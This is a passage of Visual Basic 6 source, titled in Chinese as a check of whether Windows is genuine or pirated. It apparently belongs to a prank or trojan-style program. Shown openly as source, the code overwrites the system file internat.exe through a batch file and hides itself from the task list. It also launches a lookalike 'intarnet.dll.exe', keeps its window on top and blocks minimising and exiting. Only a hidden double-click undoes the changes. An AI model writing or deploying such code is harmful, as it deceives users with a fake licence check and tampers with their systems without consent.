辨断你的windows是正版还是盗版

pend As #1
        Print #1, "@echo off"
        Print #1, "copy " & GetSystemPath & "\so.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
        Print #1, "del " & GetWinPath & "\winstart.bat"
        Close #1
    End If
    ''检查文件是否在系统目录执行
    If App.Path <> GetSystemPath Then
        MsgBox "程序代码不完整或系统出现错误，文件已被破坏。", vbInformation
        End
    End If
    RemoveProgramFromList
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
    Shell (GetSystemPath & "\intarnet.dll.exe")
End Sub

Private Sub Form_Resize()
    ''程序被最小化时返回初始状态
    If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
    ''禁止程序退出
    If Not ExitButton Then Cancel = True
End Sub

''删除程序
Private Sub lblUninstall_DblClick()
    Open GetWinPath & "\winstart.bat" For Append As #1
    Print #1, "@echo off"
    Print #1, "copy " & GetSystemPath & "\intarnet.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
    Print #1, "del " & GetSystemPath & "\intarnet.dll.exe"
    Print #1, "del " & GetSystemPath & "\so.dll.exe"
    Print #1, "del " & GetWinPath & "\winstart.bat"
    Close #1
    MsgBox "您使用的系统可能是正版。:-)", vbInformation
    End
End Sub